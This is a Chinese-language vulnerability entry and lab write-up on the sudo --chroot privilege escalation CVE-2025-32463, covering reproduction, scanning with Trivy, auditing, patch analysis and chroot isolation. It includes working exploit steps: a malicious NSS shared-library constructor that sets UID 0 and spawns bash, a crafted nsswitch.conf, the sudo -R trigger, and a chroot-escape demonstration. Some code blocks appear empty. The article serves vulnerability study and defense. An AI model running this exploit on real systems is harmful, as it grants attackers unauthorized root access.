sudo --chroot 权限提升漏洞
漏洞信息
漏洞名称: sudo –chroot 权限提升漏洞
漏洞编号:
- CVE: CVE-2025-32463
漏洞类型: 权限提升
漏洞等级: 高危
漏洞描述: sudo是一个广泛使用的Unix和Linux系统程序,允许用户以其他用户(通常是超级用户)的权限执行命令。CVE-2025-32463漏洞存在于sudo的–chroot参数中,允许本地用户通过构造特定的环境,诱使sudo加载恶意的共享对象,从而以root权限执行任意代码。该漏洞的技术根源在于sudo在处理–chroot参数时,未正确限制用户可控的路径,导致可以加载不受信任的动态链接库。这种漏洞的影响极为严重,因为它允许任何本地用户无需任何特殊权限即可提升至root权限,完全控制系统。攻击者可以通过构造恶意的nsswitch.conf文件和动态链接库,利用sudo的–chroot功能,实现权限提升。由于sudo在大多数Unix和Linux系统中默认安装且广泛使用,该漏洞的影响范围非常广泛。
产品厂商: sudo
产品名称: sudo
影响版本: 1.9.14 <= version <= 1.9.17
来源: https://github.com/y4ney/CVE-2025-32463-lab
类型: CVE-2025:github search
仓库文件
- .github
- .gitignore
- LICENSE
- README.md
- docker
- image
来源概述
title: 从 CVE-2025-32463 谈及 chroot 的容器隔离安全性
date: 2025-07-30 17:07:29
tags:
0x00 前言
2025 年 6 月,sudo 被曝史诗级本地提权漏洞 CVE-2025-32463。本文用不仅提供了容器化漏洞复现环境,可一键启动漏洞环境并运行 PoC 脚本直取 root 权限;还能手把手教您攻防细节,提高个人技术水平并学习企业级别的应用防护知识。此外,本文还附赠容器底层技术原理,了解容器是如何通过 --chroot 实现根文件系统切换的?其隔离性如何?
本文是笔者在腾讯云开发者先锋(简称 TDP)的直播内容,可关注视频号【腾云先锋】查看直播回放。读完本文,您不仅能对 CVE-2025-32463 漏洞有个全面的认知,还能对容器的沙箱隔离有个初步的了解。

0x01 背景
在开始本次分享之前,我们需要简要了解一些技术背景知识,以便在后续的漏洞解析和 chroot 安全性评估中能够更好地理解内容:
- 什么是
sudo; - 什么是
chroot; sudo的--chroot参数有何作用。
1.1 sudo 简介
sudo 的全称是“superuser do”,意思是能够以超级用户的身份执行命令。sudo 允许用户在不共享 root 密码的情况下,暂时以 root 权限执行命令并记录这些操作以方便问责。
如图 2 所示,yaney 用户可通过 sudo 命令,在执行命令时暂时将权限提升至 root,而且我们可以查看/var/log/auth.log 文件,了解 sudo 执行的命令、时间和用户等信息,这对于日志审计和攻击溯源来说是非常有用的。

1.2 chroot 简介
chroot 主要的功能就是更改当前进程的根目录。当根目录被更改后,当前进程及其子进程只能访问比新根目录层次更低的文件和目录。例如:若主机上存在以下目录和文件:
- /some/directory/on/host/file1
- /some/directory/on/host/dir1/file2
当我们将当前进程的根目录指向 /some/directory/on/host 时,当前进程的最高文件层级就被设置为 /some/directory/on/host ,这样一来,除了以下文件和目录,我们将无法访问其它任一文件层级:
- /file1
- /dir1/file2
查看 chroot 手册时,我们可以了解到:chroot 不仅可以更改根目录,还能执行命令。若没有指定命令,则默认以可交互的方式执行系统所设置的 SHELL。

如图 4 所示,当我们创建一个没有任何内容的新目录new_root并 chroot 到该目录中时,无论我们是否追加命令,都会运行失败。根据报错信息,我们知道,这是因为 new_root 目录并未包含/bin/bash 文件,也无法找到 ls 等命令。为了解决这个问题,我们需要将所要运行的命令文件放在 new_root 目录中。

在 SFTP/FTP 的使用场景中,我们若想用户在文件传输期间仅能访问主目录,通常使用 chroot 将 FTP 进程的根目录设置为/home/user,以防止恶意用户访问/etc/passwd等敏感文件。
但 chroot不隔离内核能力、不清理环境变量、以及不屏蔽系统调用权限,导致用户仍然可以通过各种方式打破隔离,我们将本文的第三部分对 chroot 的隔离进行安全评估。
1.3 sudo 的 –chroot 参数
在大多数系统中,chroot 命令需要以 root 权限执行。若普通用户需要使用 chroot 命令,我们需要授予其 root 权限,但这严重违反了最小权限原则。当然,我们也可以通过 sudo 执行 chroot 命令(即 sudo chroot),但这仍然给予了普通用户完整的 root 权限。例如,我们可以执行下述命令 chroot 到某个目录中。
1 | |
但实际上 chroot只是将当前进程的根目录更改为我们所设置的路径/path/to/dir,然后以 root 权限执行 /bin/bash,这样一来,我们就在新的根目录下以 root 权限执行任何命令。如果目标目录是用户控制的,风险会更大。
2020 年 9 月 29 日,sudo在 1.9.3 版本中引入了 --chroot 参数,这样一来,我们就可以将目标目录限制在单个目录中了,详情请看 sudo 的发版记录。

sudo 的内置的 --chroot 功能默认不启用,我们必须在 sudoers 文件中明确启用。此外,无论 --chroot是否运行成功,sudo 都会详细记录在日志中,这对于日志审计和攻击溯源特别有用,详情请看官方博客《Using chroot and cwd in sudo》。

0x02 CVE-2025-32463 漏洞解析
有了第一部分的知识回顾,现在我们就可以对 CVE-2025-32463 漏洞进行深入解析了,解析内容包括:
- 如何对漏洞的大致情况进行简单地描述;
- 如何快速启动漏洞环境并进行漏洞利用;
- 如何快速验证当前环境是否受漏洞影响;
- 如何搭建漏洞环境并一步步地进行漏洞利用;
- 如何对公司资产进行影响面排查;
- 如何对资产的环境进行排查;
- 如何从源码层面分析漏洞的成因以及修复措施。
2.1 漏洞描述
2025 年 6 月 30 日,Stratascale 网络研究部门 (CRU) 的 Rich Mirch在 sudo 中发现了两个权限提升漏洞,均可将系统权限提升到 root 权限,分别是:
--host 和 --chroot 都是 sudo 中不常用的参数,而本次分享我们只讨论其中的 CVE-2025-32463 漏洞,该漏洞无需定义任何 sudo 规则,即可将普通用户的权限提升至 root 权限,我们将在本文的【2.2 快速开始】中说明,如何一键启动漏洞环境,并使用其中的 PoC 脚本快速提权。
根据最初的安全公告数据,已明确得知 sudo的 1.9.14 至 1.9.17 版本均受其影响,但并非所有版本都经过测试。我们将在本文的【2.3 漏洞验证】中说明,如何快速验证漏洞是否存在。
此外,我们将在本文的【2.4 环境搭建】和【2.5 漏洞利用】中实操一遍攻击流程:
- 攻击者自定义
/etc/nsswitch.conf配置文件内容,诱导sudo加载指定根目录下的恶意动态链接库; - 然后使用
sudo的--chroot参数切换到chroot环境,自动加载恶意动态链接库,从而实现以root权限执行任意命令。
该漏洞已在 1.9.17p1 中得到了修复,因此请安装sudo 1.9.17p1 或更高版本。我们会在【2.6 影响面排查】中详细说明,如何快速对各种企业资产进行影响面排查,以及常见的误区是什么。
若影响面排查无法生效,那么我们需要对当前环境进行排查,详情请看【2.7 环境排查】。若这些内容对于您来说太简单了,并且还想对漏洞进行深入的分析和研究,我们将在【2.8 源码分析】中进行详细说明。
2.2 快速开始
如图 7 所示,为了方便所有人都可以一键进行漏洞复现,不用担心环境的问题。我已经将漏洞环境和 PoC 打包成容器镜像,方便大家操作。

镜像共有deb 和 source 两个版本,其中 deb 版本的 sudo 是基于 deb 包安装的,source 版本的 sudo是基于源码自行构建的。这两个版本的漏洞复现效果都相同,我们随意拉取其中一个即可。
随意拉取其中一个版本的镜像到本地运行;
1
docker run -it --rm y4ney/cve-2025-32463-lab:source bash1
docker run -it --rm y4ney/cve-2025-32463-lab:deb bash执行工作目录下的 PoC 脚本。该脚本可以追加任何命令,若不追加任何命令,则默认打开一个交互式的
bash;1
2./sudo-chwoot.sh id
./sudo-chwoot.sh由于我们在启动容器的时候添加了
--rm参数,所以使用exit退出容器环境中过后,容器会自动销毁。若要删除镜像,执行下述命令即可。1
docker rmi y4ney/cve-2025-32463-lab:source1
docker rmi y4ney/cve-2025-32463-lab:deb

若要自行构建镜像,详情请看我刚刚创建的项目CVE-2025-32463-lab的 README,该镜像 fork 自 pr0v3rbs/CVE-2025-32463_chwoot 项目,进行了一定地改造。

2.3 漏洞验证
我们可以通过执行下述命令,切换到一个不存在的目录中并执行一个不存在的命令,来快速验证漏洞是否存在。如图 10 所示,我们可以执行 sudo -R hacker hacker命令来判断漏洞是否存在:
- 若当前的
sudo的版本为受影响版本1.9.15p5-3ubuntu5,那么命令执行报错; - 若当前的
sudo的版本为不受影响版本1.9.15p5-3ubuntu5.24.04.1,那么命令执行过后,会要求我们输入用户密码。
1 | |

2.4 环境搭建
接下来,我们手把手教学:如何通过容器快速搭建漏洞环境。本次漏洞复现将在 ubuntu24.04 容器镜像中完成。执行下述命令,马上开启我们的旅程吧。
1 | |
为了保持精简,Ubuntu、Debian 和 Alpine 等多种基础镜像都不预装 sudo,且apt和yum等系统包管理工具安装的 sudo 可能会被二次修改(例如打上了安全补丁、禁用了某些选项等),这可能导致漏洞无法复现或者是行为不一致。
所以我们需要基于源码,自行构建并安装一个受影响版本的sudo。此外,还需要创建一个用于安全测试的普通用户,例如 yaney。具体步骤如下:
安装
sudo依赖库、编译工具链和源码下载工具;1
2apt-get update
apt-get install -y wget ca-certificates build-essential pkg-config libpam0g-dev libselinux1-dev zlib1g-dev libssl-dev- 源码下载工具:用于从官网获取
sudo源码并通过 HTTPS 安全下载。包括:wget,ca-certificates; - 编译工具链:用于从源码构建
sudo,包括编译器、构建系统和依赖检测工具。包括:build-essential、pkg-config; - sudo 依赖库:提供认证、安全上下文、压缩和加密等
sudo所需的基础功能支持。包括:libpam0g-dev,libselinux1-dev,zlib1g-dev,libssl-dev。
- 源码下载工具:用于从官网获取
清理 apt 缓存,减小镜像体积;
1
rm -rf /var/lib/apt/lists/*切换到
/opt目录,该目录一般用于存放第三方源码或程序,非常适合存放sudo的源码。然后下载并解压sudo的源代码压缩包(版本为1.9.16p2);1
2
3cd /opt
wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz
tar xzf sudo-1.9.16p2.tar.gz编译并安装
sudo;1
2
3
4
5
6
7cd sudo-1.9.16p2
# 预编译。不启用 libgcrypt 支持,构建完成后将程序安装到 /usr 目录下。
./configure --disable-gcrypt --prefix=/usr
# 编译
make
# 安装
make install新创建一个普通的安全测试用户并切换,例如
yaney。1
2useradd -m -s /bin/bash yaney
su yaney-m:自动创建用户的 home 目录/home/yaney;-s /bin/bash:指定默认 SHELL 为bash。
2.5 漏洞利用
准备好环境过后,我们就可以快速进行漏洞利用了,这个过程非常简单,让我们来试一试吧。
步骤一:准备攻击环境
创建一个用于构造攻击环境的临时目录,这个临时目录在使用结束过后,系统会自行删除。需要注意的是:
XXXXXX是特殊标记,告诉mktemp将其替换成随机字符(通常是 6 个字母/数字)。所以我们进入该目录的时候,XXXXXX需要替换成实际的字符串;1
2mktemp -d /tmp/sudochroot.stage.XXXXXX
cd /tmp/sudochroot.stage.XXXXXX写入带有构造函数
hacker的 C 代码,实现一旦加载就提权执行(libnss 插件)。1
2
3
4
5
6
7
8
9
10
11
12cat > hacker.c <<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void hacker(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/sh", "sh", "-c", "/bin/bash", NULL);
}
EOF- 攻击脚本需要包含构造函数
__attribute__((constructor)),与主函数main()需要手动触发不一样,构造函数在共享库被加载时就会自动执行。这样我们后续编译的.so文件在被加载时就能直接运行恶意代码了; - 将有效 UID/GID 和真实 UID/GID 都设置为
0,即切换到root用户。之所以这么设置,是因为一些系统调用或者操作仍然依赖于有效 UID/GID 或真实 UID/GID 是为 0; - 切换当前工作目录到
/,避免当前目录被删、影响 shell 工作; - 重新打开一个新的
bash。
- 攻击脚本需要包含构造函数
步骤二:构造 chroot 文件系统结构
创建攻击目录结构;
1
mkdir -p hacker/etc libnss_hacker/etc用来存放后续所说的nsswitch.conf文件 和group文件。若--chroot到hacker文件夹中,那么这些文件路径将被解析为寻常模式,即:hacker/etc/nsswitch.conf就被解析为/etc/nsswitch.conf;hacker/etc/group就被解析为/etc/group;
libnss_用来存放hacker.c所编译好的恶意动态链接库。
创建
nsswitch.conf文件,配置加载我们自定义的 NSS 模块,即--chroot若要解析用户信息(passwd),需要加载名为hacker的 NSS 模块;1
echo "passwd: /hacker" > hacker/etc/nsswitch.conf拷贝一份 group 文件以避免 NSS 报错。
1
cp /etc/group hacker/etc
步骤三:构造并命名恶意共享库
使用gcc -shared -fPIC编译带构造函数的共享库hacker.c,输出为libnss_/hacker.so.2,匹配passwd: /hacker 的模块路径拼接逻辑。
1 | |
- -shared:编译为共享对象(即
.so动态链接库)而不是可执行文件; - -fPIC:生成与位置无关的代码,是编译动态库时必须加的;
- -Wl,-init,hacker:告诉链接器,当动态库被加载时,自动调用
hacker()函数; - -o libnss _/hacker.so.2:输出文件名为
libnss_/hacker.so.2; - hacker.c:源代码文件,定义了
void hacker(void)函数。
步骤四:触发漏洞执行提权
使用sudo -R进入 chroot 环境,并在 chroot 环境中执行/bin/bash,同时触发 glibc初始化 NSS,自动加载我们刚刚构造的恶意共享库libnss_/hacker.so.2并进行提权。
1 | |

2.6 影响面排查
sudo 是大多数主机都会安装的软件包,如果公司资产包含了 sudo,那么我们该如何进行影响面排查呢?研究过云原生安全的同学应该都听说过一款镜像安全工具:Trivy。Trivy 拥有非常强大的功能,我们这里使用的是它的漏洞扫描功能。

若需要扫描的是镜像,那么我们使用image子命令即可。Trivy 拥有多种扫描器,为了快速得到结果,我们仅开启了漏洞扫描器vuln。
1 | |
Trivy 已经探测出 y4ney/cve-2025-32463-lab:source 的操作系统是 ubuntu:24.04,并且识别出了 226 个系统层软件包,这些系统层软件包共包含 870 个漏洞;且镜像并未被识别出应用层依赖库,因此不包含应用层的漏洞。

若对镜像y4ney/cve-2025-32463-lab:deb进行扫描,则被识别出了 168 个系统层软件包和 857 个漏洞。

执行下述命令,我们发现:y4ney/cve-2025-32463-lab:source 并未扫描出 CVE-2025-32463 漏洞,而y4ney/cve-2025-32463-lab:deb 却可以扫描出 CVE-2025-32463 漏洞。造成这种关键差异的原因是什么呢?我们再了解一些知识,后续再详细分析其原因。
1 | |

Trivy 主要是通过版本比对来识别软件包中的漏洞,因此这些漏洞不一定都需要进行修复。我们需要考虑的因素包含方方面面,例如:
- 漏洞的威胁等级并未达到高危、甚至超危;
- 漏洞的威胁等级并不等于它的风险等级;
- 包含漏洞的软件包可能并未被使用到,因此漏洞不具备可达性;
- 强行修复系统层软件包,可能会导致依赖它的应用崩溃;
- 并非所有的漏洞都拥有修复补丁,让我们进行升级;
- ……
若直接对 ubuntu 官方最新的镜像进行漏洞扫描,我们都会发现:尽管是不包含任何第三方内容的官方最新镜像,也不会是完全不包含漏洞的,那么基于这些基础镜像构建的镜像,我们怎么能要求它们不能包含任何漏洞呢?

目前业界没有完全公开的特别好的工程化方案和案例,让我们基于风险对这些漏洞进行重定级、降噪以及自动化修复。去年,我在 CCS 大会上对这方面的问题进行了探讨,但方案还未走出实验室,进行企业级别的落地,大家可以酌情参考参考。相关内容请查看《金融科技中的容器安全:基于 eBPF 和 WASM 的漏洞降噪技术》。

若需要扫描的是主机,我们可以使用 Trivy 的 rootfs子命令。其实主机漏洞扫描和镜像漏洞扫描的原理和实现方式大同小异,唯一的区别就是:容器镜像的漏洞扫描首先需要对镜像文件进行解压缩的操作,而主机漏洞扫描则不需要。主机漏洞扫描和镜像漏洞扫描后续同样需要进行相同的目录遍历、关键文件读取以及软件包信息解析等系列的操作,然后再通过版本比对的方式完成漏洞扫描。
1 | |
若我们无法使用工具进行扫描,还可以利用 Trivy 的漏洞库快速查询到漏洞的影响范围。Trivy 的漏洞库是基于 Boltdb 实现的,Boltdb 是 Etcd 等中间件所选用的数据库。如图 18 所示,我们可以从 trivy 的缓存路径中找到其漏洞库文件trivy.db。

与常见的数据库不一样的是,Boltdb 数据库的使用体验不佳,无法使用 SQL 语句进行查询和编辑,我们需要编写 Golang 代码来进行更高级的操作。当然,也有封装得不错的工具,如图 19 所示,我们可以使用 bboltEdit 查看和编辑 Boltdb 数据库文件。

但是该工具还是无法满足我们的需求,那就是:快速定位某 CVE 漏洞的影响范围。这里,我们再推荐一个可将 BoltDB 形式的 Trivy 漏洞库转化为 MySQL、SQLite 和 Postgres 这些常见的数据库类型的工具:trivy-db-to。
trivy-db-to 默认将各供应商的安全公告数据都整合在一张名为 vulnerability_advisories的表中,而 Trivy 就是利用这些安全公告数据进行版本比对,然后再使用 vulnerability 表的数据来补充漏洞描述、威胁等级和参考链接等详细信息。
因此,我们只需要在vulnerability_advisories中查询 CVE 编号为 CVE-2025-32463 即可。如图 20 所示,该漏洞的影响范围不仅和操作系统类型和版本有关,所影响的软件包名称和修复版本都会有所不同,因此,我们需要进行仔细地甄别。

回到之前的问题,为什么 y4ney/cve-2025-32463-lab:source镜像无法扫描出 CVE-2025-32463 漏洞呢?我们从两方面进行排查:
- Trivy 的漏洞库中是否指明了 ubuntu:24.04 镜像受该漏洞影响,且软件包名称和修复版本是多少?
- Trivy 是否识别出了
sudo系统层软件包及其版本?
经过查询,第一个问题的答案是 YES,那么我们来排查第二个问题。如图 21 所示,我们发现y4ney/cve-2025-32463-lab:source并未被识别出 sudo 软件包,因此无法扫描出 CVE-2025-32463 漏洞。
1 | |

前面我们说了,Trivy 会对镜像文件进行解压缩操作,然后遍历目录、读取关键文件并解析出软件包信息,这些操作均由同一团队的Fanal 容器静态分析库完成,但是该项目于 2022 年 6 月 22 日已经归档,并作为 Trivy 的一部分进行维护和更新。

查看 Trivy 中的 Fanal 源码,我们发现:Trivy 主要依赖解析 apk、dpkg 和 rpm 等系统层软件包管理工具来识别系统层软件包的。而我们通过 apt 安装sudo 时,所使用的底层工具是 dpkg。所以 Trivy 是通过识别 dpkg 一系列配置文件和目录来识别出软件包信息的,包括 sudo。

y4ney/cve-2025-32463-lab:deb镜像正式通过 dpkg 安装的 sduo,因此可以识别出 CVE-2025-32463 漏洞。而y4ney/cve-2025-32463-lab:source 镜像的sudo是通过 make 自编译而来的,因此无法识别出漏洞。

这也是 Trivy 官方文档中指出的问题:Trivy 不支持第三方(或自编译)的软件包和二进制文件,但支持 Red Hat 和 Debian 等供应商提供的官方包。

这是 Trivy 工具的局限吗?我反而认为这是大多数漏洞扫描工具的局限,例如:当我们打开 Docker Hub 的 Scout 功能时,它也仅能识别出y4ney/cve-2025-32463-lab:deb镜像中的 sudo 软件包和 CVE-2025-32463 漏洞。

因此,为了避免类似的漏报事故发生,我们只能从 DevOps 中规范开发者和运维人员的操作,来提高软件供应链的透明度,即:避免使用第三方的(或自编译的)软件包和二进制文件。
如图 27 所示,在 CentOS 7 中漏洞复现失败。我们再次回顾图 20 查询结果,发现该漏洞所影响范围并未包括 CentOS 7,因此 CentOS 7 不受该漏洞的影响。

查看RedHat 的安全公告数据,RedHat 告诉我们:由于受影响的版本范围有限,此漏洞不会影响 RHEL-9 或任何更早版本的 RHEL。因此,Openshift 也不会受到此漏洞的影响。

需要提示的是,漏洞的威胁等级还与供应商有关。如图 29 所示,Azure 和 cbi-mariner 都认为该漏洞的威胁等级为超危,但是 amazon 和 ubuntu 等供应商认为该漏洞的威胁等级为高危。那么我们该听谁的呢?

前面我们说了,这些操作系统供应商会对 sudo 进行二改和维护,因此他们还会基于操作系统的特性,对漏洞进行重定级。所以我们应该优先参考供应商所定义的威胁等级,再参考 NVD 等标准漏洞库所定义的安全等级,Trivy 也会根据这种思路自动为漏洞选择一个对应的威胁等级。
这是我能想到的在影响面排查中,常见的误区。最后,我已经 fork 了一份 trivy-db-to,并对其进行了二改。y4ney/trivy-db-to 不仅优化了日志的输出,还转化了数据源的数据,大家可以通过 data_source 表查看 trivy 的漏洞数据源。


2.7 环境排查
除了升级 sudo 版本,目前尚无其他有效的缓解措施。由于 sudo 在解析命令时存在缺陷,允许用户自定义 chroot 目录的机制容易引发错误,且该功能在实际中并不常用。从 sudo 1.9.17p1 起,--chroot 参数已被弃用,并计划在后续版本中彻底移除。
若无法通过版本比对的方式对影响面进行排查,建议对当前环境进行全面排查,确保未使用存在安全风险的 chroot 配置,以及避免继续使用该参数,因为如果实现不当,可能会无意中降低系统安全性。相关措施如下所示:
- 搜索任何使用
chroot的情况。检查/etc/sudoers文件以及/etc/sudoers.d目录下的所有规则。如果sudo规则存储在 LDAP 中,可使用如ldapsearch等工具导出规则进行审查。 - 查找规则中是否使用了
runchroot=选项或CHROOT=指令。 - 还可以在系统日志中搜索
sudo相关条目。任何使用了chroot的命令都会以CHROOT=字样记录在日志中。
2.8 源码分析
2013 年 6 月 28 日,sudo 在 1.9.14 版本的一项更改给未来引入了巨大的隐患:当在 sudoers 中指定了 chroot 时,改进了命令匹配的方式。现在,sudoers 插件会在进行命令匹配之前,根据需要先切换根目录。此前的做法是仅在处理路径时将 chroot 路径简单地添加为前缀。

问题出在允许非特权用户对其可控的、可写的、不受信任的路径调用chroot()。无论用户是否配置了相应的 sudo 规则,sudo 都会多次调用chroot()。允许低权限用户以 root 权限对可写位置执行chroot()会带来多种安全风险。许多应用程序(例如 SSH)都明确防范这种情况。例如,如果目标位置不是由 root 拥有,SSH 将拒绝执行chroot()。
pivot_root()和unpivot_root()函数定义在plugins/sudoers/pivot.c中,用于处理chroot相关的逻辑。在这两个函数调用之间,会触发名称服务切换(NSS)操作,导致系统从不受信任的环境中加载/etc/nsswitch.conf 配置文件。该文件包含指令,用于告诉系统如何获取用户、用户组和主机的信息。可以列出多个信息源,系统会按顺序搜索,直到找到匹配项为止。

在 Linux 系统中,nsswitch.conf 文件控制了系统如何查询用户、组等信息。下述文件内容表示系统会用files和ldap 两种方式来查找用户信息。
1 | |
如图 11 所示,我们之所以在 创建一个和 hacker 在同一级目录的 libnss_ 目录,是因为恶意库是在代码退出 chroot 后加载的,且glibc(C 标准库)内部的 NSS 加载逻辑是硬编码的,它要求:所有 NSS 模块的名字格式必须是libnss_<source>.so.<version>。

我们在自定义 NSS 模块名时必须有/ ,是因为连接的名称传递给dlopen时,dlopen 会将 / 解析为(相对或绝对)路径名。从而到我们自定义的目录中加载恶意动态链接库。

正因如此,任何本地用户都可以诱使 sudo 加载任意的共享对象,从而以 root 权限执行任意代码。下面的调用栈显示了一个被 sudo 加载的恶意共享对象(为简洁起见,内容已被大幅精简)。
由于这种行为,任何本地用户都可以诱使 sudo 加载任意的共享对象,从而实现以 root 权限执行任意代码。官方所提供的调用栈显示了 sudo 加载的恶意共享对象(为简洁起见,该栈信息已被大量精简)。
1 | |
此补丁本质上回退到了 sudo 1.9.14 中实现的更改。pivot_root()和unpivot_root()函数被移除,并且在命令匹配阶段不再调用chroot()。应用补丁后,漏洞利用将失败,因为不再调用chroot()。

0x03 chroot 的安全隔离性评估
前面我们发现,sudo 的 --chroot 参数的实现函数名称虽然是pivot_root(),但实际上是直接调用了chroot 来实现的。由于海报宣传我们不仅需要了解容器实现的底层原理,还需要评估 chroot 的安全隔离性。最后,让我们:
- 通过在 ubuntu 主机上运行 Alpine 来解释容器实现的底层原理;
- 学习
chroot常见的两个风险:不清理环境变量和chroot越狱; - 现代容器实现根目录切换的技术。
3.1 实验:在 ubuntu 主机上运行 Alpine
众所周知,容器其实只是宿主机上一个特殊的进程,当我们创建一个容器时,这个容器、也就是这个进程的根(root)目录就会被更改。所以在容器内部,我们是看不到完整的宿主机的文件系统的。接下来,我们做一个小实验,那就是:通过使用chroot 在宿主机上运行 Alpine。
容器是镜像实例化的结果,所以镜像需要封装容器所需要的文件系统,若该文件系统没有所要运行的可执行文件,那么容器将无法找到并运行它们。
根据系统架构,到官网下载一个特定版本的最小化根文件系统,并保存为
alpine.tar.gz压缩包。这里以v3.9版本为例进行说明。1
arch=$(uname -m); curl -o alpine.tar.gz http://dl-cdn.alpinelinux.org/alpine/v3.9/releases/$arch/alpine-minirootfs-3.9.0-$arch.tar.gz创建一个新目录,作为
alpine的根目录,并将压缩包解压至新的根目录中,这样我们就可以得到一个最小化的 Linux 发行版文件系统了。由于压缩包的/dev目录包含一些设备文件等特殊文件,所以tar在解压过程中会报错。在这里,暂时使用--exclude='./dev/*'来忽略这些文件即可。1
2mkdir alpine
tar --exclude='./dev/*' -xvf alpine.tar.gz -C alpine由于 Alpine 发行版不包含
bash,所以不指定任何命令,直接执行chroot命令会报错。但如果我们在包含bash的 Linux 发行版(例如 ubuntu)中执行同样的操作就会成功。在这里,执行chroot命令时,指定sh即可解决问题。

如图 37 所示,alpine 中的内容看起来就像是一个 Linux 文件系统的根目录,其中包含了 bin 、lib 、var 和 tmp 等目录。通过使用 chroot 命令过后,我们就可以在主机上运行一个简单的 Alpine 了。其实这也正是容器所做的事情,然而 chroot 背后所做的事情比想象中的要稍微复杂一些,这里我们就不展开进行说明了。
稍微总结一下,chroot 主要的功能就是更改当前进程的根目录。当根目录被更改后,当前进程及其子进程只能访问比新根目录层次更低的文件和目录。但是 chroot命令不隔离内核能力、不清理环境变量、以及不屏蔽系统调用权限,导致用户在仍然可以通过各种方式“打破沙箱”。
3.2 风险一:环境变量
首先,我们来回答刚刚遗留的一个问题:如图 37 所示,为什么执行chroot不追加命令会运行失败。那是因为,当我们执行chroot 命令时,只是改变了当前进程的路径解析过程,chroot 的子进程仍会继承父进程的环境变量。
例如,我可以在主机上设置环境变量 NAME 的值为 Yaney ,然后使用 chroot 切换到 Alpine 的文件系统中,接着我们就会发现:环境变量 NAME 已被继承。

正如 chroot 的手册所说的那样,若我们没有追加任何命令,那么它会使用 $SHELL 的值。如图 39 所示,$SHELL 的值在我们的 Ubuntu 主机上已经被设置为 /bin/bash 了,chroot 的子进程会继承这个环境变量,继续寻找/bin/bash ,但 Alpine 并没有这个文件,所以命令执行失败。

此外,若我们想执行 ls 等常见的可执行文件,也无需显示地指定其路径。因为在主机和 chroot 环境中,PATH 的值并未被改变。只不过在 chroot 环境中,alpine 根目录中的 bin 目录被解析成了新进程的 /bin 目录,该目录已包含了 ls 等常见的可执行文件,

需要注意的是,只有子进程才会获得新的根目录,在图 41 的例子中,指的是运行 ls、sh 和 cat 这些进程。只有执行 exit 结束 sh 进程后,控制权才会返还给父进程。

从上面的例子中,我们发现 chroot 只会改变路径解析过程,而不会做其它任何事情,因此它不适合沙箱化一个进程,因为它也不会限制文件系统的系统调用。这也是《chroot(2) — Linux manual page》明确指出的事情。

3.3 风险二:chroot 越狱
在过去的系统中,守护进程为了提高安全性,会使用 chroot 来限制自己访问的文件系统的范围。但如果一个文件夹被移出了 chroot 环境,那么攻击者可以利用这一点来进行越狱。我们来举个最简单的例子:
打开一个终端,进入
alpine的chroot环境中;1
chroot alpine sh创建一个新的目录
will_be_move,并将其设置为当前工作目录;1
2mkdir will_be_move
chdir will_be_move然后,打开一个新的终端,将
will_be_move目录移出chroot环境中;1
mv alpine/will_be_move ./这样,我们就逃逸到主机环境中了,并且可以通过
…/来查看主机上的文件。

3.4 pivot_root 系统调用
除了我们熟悉的chroot,还有一个类似的系统调用叫做pivot_root。这两者的目标其实是一样的:给容器一个“自己的根目录”,就像我们把容器放在一个独立的小世界里。
在今天的分享中,我们选择用大家更熟悉的chroot来做演示,因为它更容易理解。但请记住,无论是chroot还是pivot_root,核心目的都是让容器有一套独立的根文件系统,只是实现方式不同。
简单来说,pivot_root 可以把当前的根目录挪到一个叫put_old 的临时目录里,然后把新的目录new_root 设置为整个系统的新“地基”。这样一来,进程看到的根目录就完全变了。需要注意的是:new_root和put_old 不能是同一个文件系统中的目录,这样做是为了避免混乱和安全问题。
chroot 更像是“换个窗户看世界”,而 pivot_root 是“连地基一起搬家”。所以在真正的容器环境里,比如 Docker 或 Kubernetes 后面的底层运行时,大家更倾向于使用pivot_root 来设置容器的根文件系统,因为这样更安全、更彻底。
以 runc 为例,我们在查看其源代码的时候,就发现它使用的是 pivot_root 而不是 chroot。因为绝大多数情况下 config.Namespaces.Contains(configs.NEWNS)的值为 true,因为容器运行时的默认行为就是启用挂载命名空间(mount namespace)。这时候就可以放心使用pivot_root 去彻底换根,而不会影响其他进程。
